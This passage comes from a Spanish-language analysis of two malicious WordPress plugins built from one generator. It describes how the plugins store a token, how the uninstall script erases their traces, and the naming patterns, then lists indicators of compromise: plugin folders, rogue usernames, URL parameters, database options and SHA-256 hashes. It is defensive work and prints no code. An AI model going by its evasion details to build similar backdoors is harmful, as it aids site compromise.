uninstall.php<\/code> borra las opciones <slug>_sync_token<\/code> y <slug>_setup_stamp<\/code>, es decir, sus propios rastros. El c\u00f3digo nunca crea la segunda opci\u00f3n; es un resto de la plantilla.<\/li>\n- Al activarse guarda el token en la opci\u00f3n
<slug>_sync_token<\/code> sin carga autom\u00e1tica. El c\u00f3digo nunca la lee.<\/li>\n- Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son id\u00e9nticos byte a byte. El nombre sigue el patr\u00f3n
palabra-palabra-3 caracteres hexadecimales<\/code>, el par\u00e1metro es _<\/code> m\u00e1s 6 caracteres hexadecimales y el usuario palabra-palabra<\/code> m\u00e1s dos d\u00edgitos. El token tiene 32 caracteres y la contrase\u00f1a 22 (letras, d\u00edgitos y guion bajo).<\/li>\n<\/ul>\nIndicadores de compromiso<\/h2>\n\n\n\n\n| Carpeta del plugin<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| Nombre \/ autor \/ versi\u00f3n<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| Par\u00e1metro de la URL<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Usuario<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Opci\u00f3n en la base de datos<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 del archivo principal<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 de uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n | | | | | | | | | | | |
|
|